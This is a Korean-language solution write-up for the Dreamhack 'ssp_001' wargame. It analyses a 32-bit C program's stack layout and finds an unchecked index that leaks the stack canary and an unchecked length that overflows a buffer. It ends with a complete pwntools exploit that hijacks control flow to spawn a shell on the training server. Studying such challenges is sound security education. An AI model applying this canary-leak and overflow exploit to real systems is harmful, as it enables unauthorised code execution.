읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 32bit 환경
- Canary 보호기법 ON
- NX 보호기법 ON
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch(select[0]) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
분석
1. 소스코드 분석
while() 문으로 무한 루프 돌고 있음. menu() 함수 호출로 메뉴 띄우고
사용자에게서 한번에 2글자를 입력받는데, 2글자 중 첫번째 글자가 F, P, E면 각 해당하는 기능을 수행한다.
- F가 입력됐다면
"box input: "문자열을 띄우고 box 변수의 사이즈만큼 box 변수에 사용자의 입력을 받아 넣는다. - P가 입력됐다면
"Element index:"문자열을 띄우고 정수를 입력받아 idx에 저장 후 box와 idx를 인자로 하여print_box()함수를 호출한다.
print_box() 함수는 box 배열에서 idx번째에 해당하는 값을 16진수 형태의 2글자까지 보여준다. - E가 입력됐다면
"Name Size:"문자열을 띄우고 정수를 입력받아name_len변수에 저장 후"Name:"문자열을 띄우고name_len의 값만큼 사용자에게 입력받아name변수에 저장한다.
2. 스택 구조

스택 구조를 예상하자면 대충 이런식일 것이다.
3. main() 함수 분석
gdb에서 disass main 명령어로 함수를 디스어셈블 해보자.

스택 프롤로그 작업을 마친 뒤 edi 값을 스택에 넣는다.
그리고 esp가 가리키는 위치에서 0x94만큼 스택 공간을 늘린다.
변수 선언의 총 크기가 0x90 인데 스택에서 0x94만큼 늘린 이유는 0x4 bytes크기의 dummy 데이터 때문이다.

ebp-0xc에 있는 값을 ebp-0x98 주소에 넣고, gs:0x14 값을 ebp-0x8 주소에 넣는다. 즉, canary 값을 설정하는 것이다.
여태까지의 스택 상황을 보면 다음과 같다.


eax 레지스터의 값을 0으로 만든다. eax에 0을 넣고, ecx에 0x10을 넣은 뒤 ebp-0x88 주소를 edi에 넣고 rep stos 명령을 실행한다. 그러면 ecx의 값 0x10만큼 반복하여 edi의 값 ebp-0x88 주소에 eax의 값 0x0을 복사한다.

ebp-0x8a, ebp-0x94, ebp-0x90 주소에 0을 저장함.
이는 변수 초기화 작업으로 보이고, 소스 코드에서 select, idx, name_len 변수를 초기화 하는 구문과 같다.
주소의 공간을 참조하는 크기를 보면 ebp-0x8a 주소에 참조할 때는 WORD(2bytes) 크기만큼 참조하므로 ebp-0x8a 주소가 select 변수인 것을 알 수 있다.
그러나 ebp-0x94와 ebp-0x90 둘 중 어떤 것이 idx or name_len 변수인지 모른다.
![]()
initialize() 함수와 menu() 함수를 호출.

2, ebp-0x8a, 0을 스택에 넣고 read() 함수를 호출한다.
위에서 ebp-0x8a는 select 변수 임을 확인했다.

select 변수에 해당하는 주소 ebp-0x8a 주소에서 1byte 값이 46(F), 50(P), 45(E)와 같은지 비교한다. F와 같으면 0x80487c6 주소로 점프하고, P와 같으면 0x80487eb 주소로 점프하며, E와 같으면 0x8048824 주소로 점프하고 3개 모두 비교 후 같은 게 없을 경우 0x804887a 주소로 점프하고, 0x8048790 주소로 점프하여 menu() 함수를 호출한다.

F가 입력되어 0x80487c6 주소로 점프했을 경우
0x80487c6 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다.
0x40, ebp-0x88, 0을 스택에 넣고 read() 함수를 호출한다.
다시말해, ebp-0x88 주소는 box 배열의 주소다.

P가 입력되어 0x080487eb 주소로 점프했을 경우 0x8048979 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 띄운다. ebp-0x94 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다. 사용자가 입력한 값이 ebp-0x94 주소에 담기게 되고, ebp-0x94 주소에 있는 값을 스택에 넣고, ebp-0x88 주소를 스택에 넣은 뒤 print_box() 함수를 호출한다. 위 과정을 거치면서 ebp-0x88 주소는 box 배열의 주소, ebp-0x94 주소는 idx 라는 것이 확실해졌다.

E가 입력되어 0x08048824 주소로 점프했을 경우 0x804898d 주소를 스택에 넣고 printf() 함수를 호출하여 문자열을 출력한다. ebp-0x90 주소, 0x804898a 주소를 스택에 넣고 scanf() 함수를 호출한다. 0x804899a 주소를 스택에 넣고 printf(0 함수를 호출하여 문자열을 출력한다. ebp-0x90, ebp-0x48, 0을 스택에 넣고 read() 함수를 호출한다. 이로써 ebp-0x90 주소는 name_len 변수의 주소, ebp-0x48은 name 배열의 주소임이 확실해졌다.

마지막으로 eax 레지스터를 0으로 만든 후 ebp-0x8의 값을 edx로 가져와 gs:0x14의 값과 xor 연산하여 canary 검사를한다. xor 연산 결과 0이면, 0x8048884 주소로 점프하여 edi 값을 되돌린 뒤 프로그램이 종료되고 xor 연산 결과가 0이 아니면, 0x804887f 주소로 점프한 후 stack chk fail 함수를 호출한다.

위 내용을 바탕으로 스택 구조를 정리하면 다음과 같다.
4. 취약점 분석
menu() 함수 호출 후 P, E 에서 취약점이 발생한다. 그 이유는
1. P를 입력했을 때
scanf() 함수로 정수를 입력 받아 idx에 저장하고, box[idx] 형태로 참조하여 화면에 보여주는데 이때 사용자가 입력한 값이 box 배열의 인덱스를 넘는가에 대한 검사가 없다. box의 공간 0x40 + name의 공간 0x40하여 총 0x80을 인덱스로 하면 canary 영역에서 값을 읽어 화면에 보여 줄 것이다. 하지만 화면에 보여줄 때 한 바이트만 보여주므로 32bit 환경의 canary 값 4바이트를 다 가져오기 위해서는 4번 반복해야한다. 게다가 메모리에 저장할 때 리틀 엔디언 방식으로 저장됐다는 점도 고려해야한다. 이렇게 하면 canary 값을 가져올 수 있다.
2. E를 입력했을 때
scanf() 함수로 정수를 입력 받아 name_len에 저장하고 name_len의 값만큼 사용자에게 입력받아 name에 저장하는데
name_len을 사용자가 임의로 지정할 수 있으므로 넉넉히 값을 주고
name에 데이터를 넣을 때는 name_len의 크기를 넘지 않는 선에서 payload를 넣으면 된다.
그리고 주의해야 할 점은 read() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할때 "send"만 적어주고
scanf() 함수로 사용자에게 입력을 받을 경우 pwntools 이용할 때 "sendline"을 적어줘야 한다.
ex) read -> sendafter
scanf -> sendlineafter
메모리 구성도

익스플로잇
1. 익스플로잇 코드
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote('host3.dreamhack.games', port_num)
e = ELF("./ssp_001")
get_shell = e.symbols['get_shell']
# canary leak
canary = b''
i = 131
while i >= 128:
p.sendlineafter("> ", 'P')
p.sendlineafter("Element index : ", str(i))
p.recvuntil("is : ")
canary += p.recvn(2)
i = i - 1
canary = int(canary, 16)
slog("canary", canary)
#BOF
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(1000))
p.sendlineafter("Name : ", payload)
p.interactive()

작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
- 원본 이미지 1 · Velog (sylee9809) ↗
- 원본 이미지 2 · Velog (sylee9809) ↗
- 원본 이미지 3 · Velog (sylee9809) ↗
- 원본 이미지 4 · Velog (sylee9809) ↗
- 원본 이미지 5 · Velog (sylee9809) ↗
- 원본 이미지 6 · Velog (sylee9809) ↗
- 원본 이미지 7 · Velog (sylee9809) ↗
- 원본 이미지 8 · Velog (sylee9809) ↗
- 원본 이미지 9 · Velog (sylee9809) ↗
- 원본 이미지 10 · Velog (sylee9809) ↗
- 원본 이미지 11 · Velog (sylee9809) ↗
- 원본 이미지 12 · Velog (sylee9809) ↗
- 원본 이미지 13 · Velog (sylee9809) ↗
- 원본 이미지 14 · Velog (sylee9809) ↗
- 원본 이미지 15 · Velog (sylee9809) ↗
- 원본 이미지 16 · Velog (sylee9809) ↗
- 원본 이미지 17 · Velog (sylee9809) ↗
다음 글